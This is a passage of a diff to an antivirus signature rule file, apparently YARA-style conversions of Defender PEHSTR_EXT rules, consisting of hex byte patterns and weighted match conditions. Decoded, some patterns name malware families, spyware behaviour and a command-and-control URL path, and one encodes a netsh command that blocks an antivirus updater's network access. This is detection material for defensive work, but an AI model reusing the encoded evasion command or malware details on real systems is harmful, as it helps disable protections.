1)*-61+(#a_c0_6 & 1)*-2958) >=2 } -rule _InfrastructureShared_19240{ +rule _InfrastructureShared_20440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -236960,7 +251826,7 @@ rule _InfrastructureShared_19240{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*29184+(#a_0a_2 & 1)*-31950+(#a_00_4 & 1)*69+(#a_00_6 & 1)*38+(#a_01_8 & 1)*1+(#a_81_9 & 1)*1) >=2 } -rule _InfrastructureShared_19241{ +rule _InfrastructureShared_20441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -236974,7 +251840,7 @@ rule _InfrastructureShared_19241{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_00_3 & 1)*53+(#a_00_5 & 1)*90+(#a_00_6 & 1)*102) >=7 } -rule _InfrastructureShared_19242{ +rule _InfrastructureShared_20442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0b 00 21 " @@ -236992,7 +251858,7 @@ rule _InfrastructureShared_19242{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*100+(#a_00_3 & 1)*119+(#a_2e_4 & 1)*29281+(#a_50_5 & 1)*19521+(#a_00_6 & 1)*97+(#a_00_7 & 1)*105+(#a_00_8 & 1)*91+(#a_00_10 & 1)*110) >=9 } -rule _InfrastructureShared_19243{ +rule _InfrastructureShared_20443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -237006,7 +251872,7 @@ rule _InfrastructureShared_19243{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=4 } -rule _InfrastructureShared_19244{ +rule _InfrastructureShared_20444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -237014,16 +251880,26 @@ rule _InfrastructureShared_19244{ $a_41_0 = {42 6c 6f 63 6b 3a 57 65 62 57 61 74 63 68 65 72 00 01 00 19 80 01 47 65 74 55 73 65 72 4f 62 6a 65 63 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 41 01 00 12 80 01 47 65 74 55 73 65 72 44 65 66 61 75 6c 74 4c 43 49 44 01 00 0f 80 01 46 69 72 65 46 6f 78 20 4d 6f } //20515 $a_6f_1 = {01 00 51 02 75 00 73 00 65 00 72 00 5f 00 70 00 72 00 65 00 66 00 90 02 12 78 00 70 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 2e 00 73 00 69 00 67 00 6e 00 61 00 74 00 75 00 72 00 65 00 73 00 2e 00 72 00 65 00 71 00 75 00 69 00 72 00 65 00 64 00 90 00 01 00 2b 02 75 73 65 72 5f 70 72 65 66 90 02 12 78 70 69 6e 73 74 61 6c 6c 2e 73 69 67 6e 61 } //26990 $a_65_2 = {2e 72 65 71 75 69 72 65 64 90 00 01 00 51 02 75 00 73 00 65 00 72 00 5f 00 70 00 72 00 65 00 66 00 90 02 12 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 73 00 2e 00 62 00 6f 00 6f 00 74 00 73 00 74 00 72 00 61 00 70 00 70 00 65 00 64 00 41 00 64 00 64 00 6f 00 6e 00 73 00 90 00 01 00 2b 02 75 73 65 72 5f 70 72 65 66 90 02 12 65 78 } //30068 - $a_73_3 = {6f 6e 73 2e 62 6f 6f 74 73 74 72 61 70 70 65 64 41 64 64 6f 6e 73 90 00 01 00 3e 80 01 52 65 63 6f 72 64 73 20 61 6c 6c 20 77 65 62 73 69 74 65 73 20 76 69 73 69 74 65 64 20 61 6e 64 20 63 61 70 74 75 72 65 73 20 48 6f 74 6d 61 69 6c 2c 20 59 61 68 6f 6f 21 20 4d 61 69 6c 00 00 78 b3 01 00 07 00 07 00 04 00 21 23 48 53 54 52 3a } //25972 - $a_6a_4 = {6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 2e 5a 45 54 00 03 00 28 01 2f 61 6c 65 72 74 61 2f 69 6e 64 65 78 2e 70 68 70 3f 6d 65 74 6f 64 6f 3d 69 6e 73 65 72 74 20 48 54 54 50 2f 31 2e 31 03 00 28 03 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 90 01 04 32 30 31 35 2f 90 01 } //29268 - $a_31_5 = {90 00 01 00 94 03 2f 43 20 6e 65 74 73 68 20 61 64 76 66 69 72 65 77 61 6c 6c 20 66 69 72 65 77 61 6c 6c 20 61 64 64 20 72 75 6c 65 20 6e 61 6d } //12804 - $a_90_6 = {16 22 20 64 69 72 3d 6f 75 74 20 61 63 74 69 6f 6e 3d 62 6c 6f 63 6b 20 70 72 6f 67 72 61 6d 3d 22 43 } //15717 - $a_72_7 = {67 72 61 6d 20 46 69 6c 65 73 5c 41 56 41 53 54 20 53 6f 66 74 77 61 72 65 5c 41 76 61 73 74 5c 73 65 74 75 70 5c 69 6e 73 74 75 70 2e 65 78 65 22 20 65 6e 61 62 6c 65 3d 79 65 73 90 00 01 00 8d 03 2f 43 20 6e 65 74 73 68 20 61 64 76 66 69 } //23610 + $a_73_3 = {6f 6e 73 2e 62 6f 6f 74 73 74 72 61 70 70 65 64 41 64 64 6f 6e 73 90 00 01 00 3e 80 01 52 65 63 6f 72 64 73 20 61 6c 6c 20 77 65 62 73 69 74 65 73 20 76 69 73 69 74 65 64 20 61 6e 64 20 63 61 70 74 75 72 65 73 20 48 6f 74 6d 61 69 6c 2c 20 59 61 68 6f 6f 21 20 4d 61 69 6c 00 00 78 b3 01 00 07 00 07 00 04 00 21 23 41 4c 46 3a 54 } //25972 + $a_61_4 = {3a 57 69 6e 36 34 2f 55 6c 69 73 65 2e 41 55 4c 21 4d 54 42 00 03 00 4b 03 41 8b 14 bc 8b de 48 03 d5 0f 1f 80 90 01 04 0f be 0a 48 8d 52 01 6b db 7f 03 d9 84 c9 75 90 01 01 44 8b cb 4c 8d 05 f6 0d 01 00 ba 64 00 00 00 48 8d 4c 24 20 e8 90 01 04 8b c3 8b ce 4c 3b f0 41 0f 45 cd 44 8b e9 85 c9 90 00 02 00 3d 03 33 d2 } //28530 + $a_f5_6 = {90 01 04 48 8d 84 24 60 08 00 00 89 ac 24 58 08 00 00 44 8d 4d 01 48 89 44 24 20 45 33 c0 48 8d 15 fe 04 01 00 48 c7 c1 01 00 00 80 8b dd ff 15 90 00 01 00 9a 01 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 68 00 65 00 6c 00 6c 00 5c 00 41 00 73 00 73 00 6f 00 63 00 69 00 61 00 74 00 69 00 6f } //0 condition: - ((#a_41_0 & 1)*20515+(#a_6f_1 & 1)*26990+(#a_65_2 & 1)*30068+(#a_73_3 & 1)*25972+(#a_6a_4 & 1)*29268+(#a_31_5 & 1)*12804+(#a_90_6 & 1)*15717+(#a_72_7 & 1)*23610) >=6 + ((#a_41_0 & 1)*20515+(#a_6f_1 & 1)*26990+(#a_65_2 & 1)*30068+(#a_73_3 & 1)*25972+(#a_61_4 & 1)*28530+(#a_f5_6 & 1)*0) >=6 } -rule _InfrastructureShared_19245{ +rule _InfrastructureShared_20445{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 55 6c 69 73 65 2e 41 55 4c 21 4d 54 42 00 03 00 4b 03 41 8b 14 bc 8b de 48 03 d5 0f 1f 80 90 01 04 0f be 0a 48 8d 52 01 6b db 7f 03 d9 84 c9 75 90 01 01 44 8b cb 4c 8d 05 f6 0d 01 00 ba 64 } //16675 + $a_e8_2 = {01 04 8b c3 8b ce 4c 3b f0 41 0f 45 cd 44 8b e9 85 c9 90 00 02 00 3d 03 33 d2 41 b8 00 08 00 00 } //9292 + $a_90_3 = {04 48 8d 84 24 60 08 00 00 89 ac 24 58 08 00 00 44 8d 4d 01 48 89 44 24 20 45 33 c0 48 8d 15 fe 04 01 00 48 c7 c1 01 00 00 80 8b dd ff 15 90 00 01 00 9a 01 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 68 00 65 00 6c 00 6c 00 5c 00 41 00 73 00 73 00 6f 00 63 00 69 00 61 00 74 00 69 00 6f 00 6e 00 73 00 5c 00 55 00 72 00 6c 00 41 00 73 00 73 00 6f 00 63 00 69 00 61 00 74 00 69 00 6f 00 6e 00 73 00 5c 00 68 00 74 00 74 00 70 00 5c 00 55 00 73 00 65 00 72 00 43 00 68 00 6f 00 69 00 63 00 65 00 01 00 58 01 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 } //-2677 + condition: + ((#a_46_0 & 1)*16675+(#a_e8_2 & 1)*9292+(#a_90_3 & 1)*-2677) >=7 + +} +rule _InfrastructureShared_20446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -237036,7 +251912,7 @@ rule _InfrastructureShared_19245{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29443+(#a_22_2 & 1)*28001+(#a_73_3 & 1)*31037) >=7 } -rule _InfrastructureShared_19246{ +rule _InfrastructureShared_20447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -237053,7 +251929,7 @@ rule _InfrastructureShared_19246{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25959+(#a_73_2 & 1)*25960+(#a_73_3 & 1)*28516+(#a_b3_4 & 1)*0+(#a_64_5 & 1)*29285+(#a_46_6 & 1)*27511+(#a_01_7 & 1)*2816) >=8 } -rule _InfrastructureShared_19247{ +rule _InfrastructureShared_20448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 12 00 21 " @@ -237079,7 +251955,7 @@ rule _InfrastructureShared_19247{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*25938+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_b4_12 & 1)*0+(#a_00_13 & 1)*120+(#a_00_15 & 1)*102+(#a_2d_16 & 1)*31277+(#a_19_17 & 1)*1) >=17 } -rule _InfrastructureShared_19248{ +rule _InfrastructureShared_20449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -237092,7 +251968,7 @@ rule _InfrastructureShared_19248{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_2d_2 & 1)*2305+(#a_00_4 & 1)*98) >=4 } -rule _InfrastructureShared_19249{ +rule _InfrastructureShared_20450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -237105,7 +251981,7 @@ rule _InfrastructureShared_19249{ ((#a_70_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_3 & 1)*100+(#a_00_5 & 1)*48) >=4 } -rule _InfrastructureShared_19250{ +rule _InfrastructureShared_20451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -237122,7 +251998,7 @@ rule _InfrastructureShared_19250{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_61_2 & 1)*281+(#a_19_3 & 1)*1+(#a_01_4 & 1)*-28672+(#a_7a_5 & 1)*24841+(#a_39_6 & 1)*12378+(#a_2f_7 & 1)*18771) >=7 } -rule _InfrastructureShared_19251{ +rule _InfrastructureShared_20452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -237140,7 +252016,7 @@ rule _InfrastructureShared_19251{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*120+(#a_00_4 & 1)*110+(#a_6d_5 & 1)*19813+(#a_69_6 & 1)*28015+(#a_00_7 & 1)*26990+(#a_70_8 & 1)*385+(#a_6c_9 & 1)*29532+(#a_2d_10 & 1)*11631) >=11 } -rule _InfrastructureShared_19252{ +rule _InfrastructureShared_20453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -237161,7 +252037,7 @@ rule _InfrastructureShared_19252{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*-32483+(#a_69_2 & 1)*29537+(#a_68_3 & 1)*28257+(#a_61_4 & 1)*26473+(#a_4d_5 & 1)*28257+(#a_00_6 & 1)*32+(#a_66_7 & 1)*26227+(#a_66_8 & 1)*26212+(#a_6c_9 & 1)*25714+(#a_67_10 & 1)*12108+(#a_2e_11 & 1)*7424) >=12 } -rule _InfrastructureShared_19253{ +rule _InfrastructureShared_20454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -237183,7 +252059,7 @@ rule _InfrastructureShared_19253{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26625+(#a_73_2 & 1)*24947+(#a_66_3 & 1)*26212+(#a_66_4 & 1)*27495+(#a_4b_5 & 1)*26723+(#a_67_6 & 1)*30020+(#a_01_7 & 1)*24946+(#a_30_8 & 1)*12589+(#a_6f_9 & 1)*28233+(#a_00_11 & 1)*102+(#a_69_12 & 1)*28527+(#a_00_13 & 1)*68) >=14 } -rule _InfrastructureShared_19254{ +rule _InfrastructureShared_20455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -237208,7 +252084,7 @@ rule _InfrastructureShared_19254{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*11777+(#a_65_2 & 1)*29301+(#a_01_3 & 1)*28265+(#a_2d_4 & 1)*13921+(#a_45_5 & 1)*29285+(#a_00_6 & 1)*108+(#a_20_7 & 1)*25965+(#a_63_8 & 1)*30047+(#a_00_9 & 1)*32+(#a_74_10 & 1)*29540+(#a_55_12 & 1)*-13815+(#a_90_13 & 1)*-31999+(#a_8b_14 & 1)*400+(#a_01_16 & 1)*30720+(#a_63_17 & 1)*28532) >=18 } -rule _InfrastructureShared_19255{ +rule _InfrastructureShared_20456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 0a 00 21 " @@ -237226,7 +252102,7 @@ rule _InfrastructureShared_19255{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*105+(#a_74_2 & 1)*31090+(#a_45_3 & 1)*17747+(#a_01_5 & 1)*4352+(#a_b6_6 & 1)*257+(#a_b6_7 & 1)*513+(#a_01_8 & 1)*-28587+(#a_04_9 & 1)*-28446) >=33 } -rule _InfrastructureShared_19256{ +rule _InfrastructureShared_20457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -237237,7 +252113,7 @@ rule _InfrastructureShared_19256{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*3841) >=2 } -rule _InfrastructureShared_19257{ +rule _InfrastructureShared_20458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -237250,7 +252126,7 @@ rule _InfrastructureShared_19257{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*26740+(#a_6e_2 & 1)*28261+(#a_50_3 & 1)*10272) >=2 } -rule _InfrastructureShared_19258{ +rule _InfrastructureShared_20459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -237266,7 +252142,7 @@ rule _InfrastructureShared_19258{ ((#a_46_0 & 1)*21283+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1) >=2 } -rule _InfrastructureShared_19259{ +rule _InfrastructureShared_20460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -237281,7 +252157,7 @@ rule _InfrastructureShared_19259{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*22083+(#a_47_2 & 1)*21346+(#a_68_3 & 1)*25200+(#a_51_4 & 1)*26624+(#a_4a_5 & 1)*21859) >=3 } -rule _InfrastructureShared_19260{ +rule _InfrastructureShared_20461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -237296,7 +252172,7 @@ rule _InfrastructureShared_19260{ ((#a_54_0 & 1)*18467+(#a_8b_2 & 1)*-29952+(#a_6a_3 & 1)*21504+(#a_90_5 & 1)*1025+(#a_00_6 & 1)*1+(#a_00_7 & 1)*362) >=3 } -rule _InfrastructureShared_19261{ +rule _InfrastructureShared_20462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -237309,7 +252185,7 @@ rule _InfrastructureShared_19261{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_4 & 1)*105+(#a_00_6 & 1)*103) >=5 } -rule _InfrastructureShared_19262{ +rule _InfrastructureShared_20463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -237324,7 +252200,7 @@ rule _InfrastructureShared_19262{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_50_2 & 1)*27759+(#a_2e_3 & 1)*30831+(#a_00_4 & 1)*14637+(#a_5f_5 & 1)*24937) >=6 } -rule _InfrastructureShared_19263{ +rule _InfrastructureShared_20464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -237339,7 +252215,7 @@ rule _InfrastructureShared_19263{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_6f_2 & 1)*31092+(#a_01_3 & 1)*-28615+(#a_2d_4 & 1)*23085+(#a_90_5 & 1)*11568) >=6 } -rule _InfrastructureShared_19264{ +rule _InfrastructureShared_20465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -237358,7 +252234,7 @@ rule _InfrastructureShared_19264{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*27747+(#a_25_2 & 1)*25961+(#a_74_3 & 1)*24946+(#a_00_4 & 1)*28265+(#a_72_5 & 1)*29795+(#a_76_6 & 1)*28527+(#a_01_7 & 1)*16690+(#a_2e_8 & 1)*28527+(#a_41_9 & 1)*10240) >=10 } -rule _InfrastructureShared_19265{ +rule _InfrastructureShared_20466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 21 " @@ -237375,7 +252251,7 @@ rule _InfrastructureShared_19265{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29561+(#a_70_2 & 1)*27748+(#a_73_3 & 1)*30065+(#a_65_4 & 1)*24944+(#a_6f_5 & 1)*25970+(#a_00_6 & 1)*115+(#a_6d_7 & 1)*16641) >=12 } -rule _InfrastructureShared_19266{ +rule _InfrastructureShared_20467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -237397,7 +252273,7 @@ rule _InfrastructureShared_19266{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_64_2 & 1)*286+(#a_41_3 & 1)*26989+(#a_00_4 & 1)*28001+(#a_5f_5 & 1)*-32502+(#a_79_6 & 1)*17508+(#a_38_7 & 1)*31073+(#a_57_8 & 1)*20345+(#a_65_9 & 1)*25957+(#a_31_10 & 1)*11884+(#a_00_12 & 1)*65+(#a_00_14 & 1)*66) >=15 } -rule _InfrastructureShared_19267{ +rule _InfrastructureShared_20468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -237418,7 +252294,7 @@ rule _InfrastructureShared_19267{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*17518+(#a_4d_2 & 1)*20345+(#a_66_3 & 1)*25966+(#a_01_4 & 1)*16488+(#a_54_5 & 1)*18467+(#a_00_7 & 1)*65+(#a_00_9 & 1)*66+(#a_00_11 & 1)*48+(#a_00_12 & 1)*50+(#a_00_13 & 1)*334+(#a_00_16 & 1)*-18824) >=17 } -rule _InfrastructureShared_19268{ +rule _InfrastructureShared_20469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -237430,7 +252306,7 @@ rule _InfrastructureShared_19268{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*65+(#a_00_4 & 1)*66) >=1 } -rule _InfrastructureShared_19269{ +rule _InfrastructureShared_20470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -237444,7 +252320,7 @@ rule _InfrastructureShared_19269{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*30575+(#a_09_2 & 1)*6544+(#a_2d_3 & 1)*31277+(#a_01_4 & 1)*-28610) >=4 } -rule _InfrastructureShared_19270{ +rule _InfrastructureShared_20471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0e 00 21 " @@ -237467,7 +252343,7 @@ rule _InfrastructureShared_19270{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29984+(#a_64_2 & 1)*26478+(#a_00_3 & 1)*29477+(#a_61_4 & 1)*385+(#a_65_5 & 1)*25441+(#a_53_6 & 1)*8993+(#a_00_7 & 1)*111+(#a_61_8 & 1)*8230+(#a_00_9 & 1)*32+(#a_00_10 & 1)*105+(#a_72_11 & 1)*16754+(#a_46_12 & 1)*27222+(#a_41_13 & 1)*22849) >=4 } -rule _InfrastructureShared_19271{ +rule _InfrastructureShared_20472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -237480,7 +252356,7 @@ rule _InfrastructureShared_19271{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_00_2 & 1)*67+(#a_00_4 & 1)*101) >=6 } -rule _InfrastructureShared_19272{ +rule _InfrastructureShared_20473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -237496,7 +252372,7 @@ rule _InfrastructureShared_19272{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*384+(#a_67_2 & 1)*17970+(#a_41_3 & 1)*29800+(#a_80_4 & 1)*1+(#a_b6_5 & 1)*0+(#a_00_7 & 1)*47) >=8 } -rule _InfrastructureShared_19273{ +rule _InfrastructureShared_20474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -237510,7 +252386,7 @@ rule _InfrastructureShared_19273{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_00_4 & 1)*95+(#a_00_6 & 1)*47+(#a_00_8 & 1)*83) >=9 } -rule _InfrastructureShared_19274{ +rule _InfrastructureShared_20475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -237527,7 +252403,7 @@ rule _InfrastructureShared_19274{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*27753+(#a_74_2 & 1)*385+(#a_65_3 & 1)*24941+(#a_61_4 & 1)*25697+(#a_41_5 & 1)*28752+(#a_fe_7 & 1)*17936+(#a_00_9 & 1)*116) >=10 } -rule _InfrastructureShared_19275{ +rule _InfrastructureShared_20476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -237543,7 +252419,7 @@ rule _InfrastructureShared_19275{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*17234+(#a_00_2 & 1)*108+(#a_00_3 & 1)*76+(#a_00_4 & 1)*46+(#a_24_5 & 1)*24102+(#a_46_6 & 1)*16675) >=2 } -rule _InfrastructureShared_19276{ +rule _InfrastructureShared_20477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -237559,7 +252435,7 @@ rule _InfrastructureShared_19276{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_34_2 & 1)*14658+(#a_65_3 & 1)*25938+(#a_01_4 & 1)*3+(#a_03_5 & 1)*1+(#a_b7_6 & 1)*0) >=3 } -rule _InfrastructureShared_19277{ +rule _InfrastructureShared_20478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0c 00 21 " @@ -237578,7 +252454,7 @@ rule _InfrastructureShared_19277{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*29295+(#a_65_2 & 1)*18497+(#a_63_3 & 1)*28486+(#a_6d_4 & 1)*20076+(#a_6c_5 & 1)*27507+(#a_6e_6 & 1)*25708+(#a_74_7 & 1)*28499+(#a_5c_8 & 1)*29801+(#a_62_11 & 1)*25971) >=6 } -rule _InfrastructureShared_19278{ +rule _InfrastructureShared_20479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -237596,7 +252472,7 @@ rule _InfrastructureShared_19278{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26926+(#a_67_2 & 1)*20993+(#a_74_3 & 1)*28531+(#a_69_4 & 1)*28245+(#a_61_5 & 1)*19456+(#a_6b_6 & 1)*29806+(#a_50_7 & 1)*26478+(#a_2e_8 & 1)*28018) >=9 } -rule _InfrastructureShared_19279{ +rule _InfrastructureShared_20480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -237616,7 +252492,7 @@ rule _InfrastructureShared_19279{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*16640+(#a_65_2 & 1)*29301+(#a_6e_3 & 1)*29807+(#a_18_4 & 1)*-29178+(#a_45_5 & 1)*30316+(#a_00_6 & 1)*75+(#a_6f_7 & 1)*25970+(#a_65_8 & 1)*11891+(#a_10_9 & 1)*-16112+(#a_81_10 & 1)*3840) >=10 } -rule _InfrastructureShared_19280{ +rule _InfrastructureShared_20481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -237636,7 +252512,7 @@ rule _InfrastructureShared_19280{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*4096+(#a_00_3 & 1)*56+(#a_63_4 & 1)*24899+(#a_74_5 & 1)*25454+(#a_01_6 & 1)*-3711+(#a_01_8 & 1)*-3711+(#a_f1_9 & 1)*2561+(#a_00_10 & 1)*47+(#a_2c_11 & 1)*2+(#a_5a_12 & 1)*16762) >=13 } -rule _InfrastructureShared_19281{ +rule _InfrastructureShared_20482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -237656,7 +252532,7 @@ rule _InfrastructureShared_19281{ ((#a_54_0 & 1)*18467+(#a_ce_1 & 1)*1025+(#a_03_3 & 1)*6144+(#a_10_4 & 1)*-16112+(#a_90_5 & 1)*0+(#a_05_6 & 1)*-7743+(#a_05_7 & 1)*-7743+(#a_00_8 & 1)*1+(#a_3a_9 & 1)*19521+(#a_00_11 & 1)*111+(#a_39_12 & 1)*12297) >=1 } -rule _InfrastructureShared_19282{ +rule _InfrastructureShared_20483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -237671,7 +252547,7 @@ rule _InfrastructureShared_19282{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_39_2 & 1)*12297+(#a_30_3 & 1)*11585+(#a_30_4 & 1)*11585+(#a_00_5 & 1)*119) >=6 } -rule _InfrastructureShared_19283{ +rule _InfrastructureShared_20484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -237686,7 +252562,7 @@ rule _InfrastructureShared_19283{ ((#a_54_0 & 1)*18467+(#a_7d_1 & 1)*32125+(#a_40_2 & 1)*17216+(#a_34_3 & 1)*13382+(#a_40_4 & 1)*12864+(#a_45_5 & 1)*16450) >=6 } -rule _InfrastructureShared_19284{ +rule _InfrastructureShared_20485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -237705,7 +252581,7 @@ rule _InfrastructureShared_19284{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26478+(#a_70_2 & 1)*28773+(#a_73_3 & 1)*12848+(#a_6e_4 & 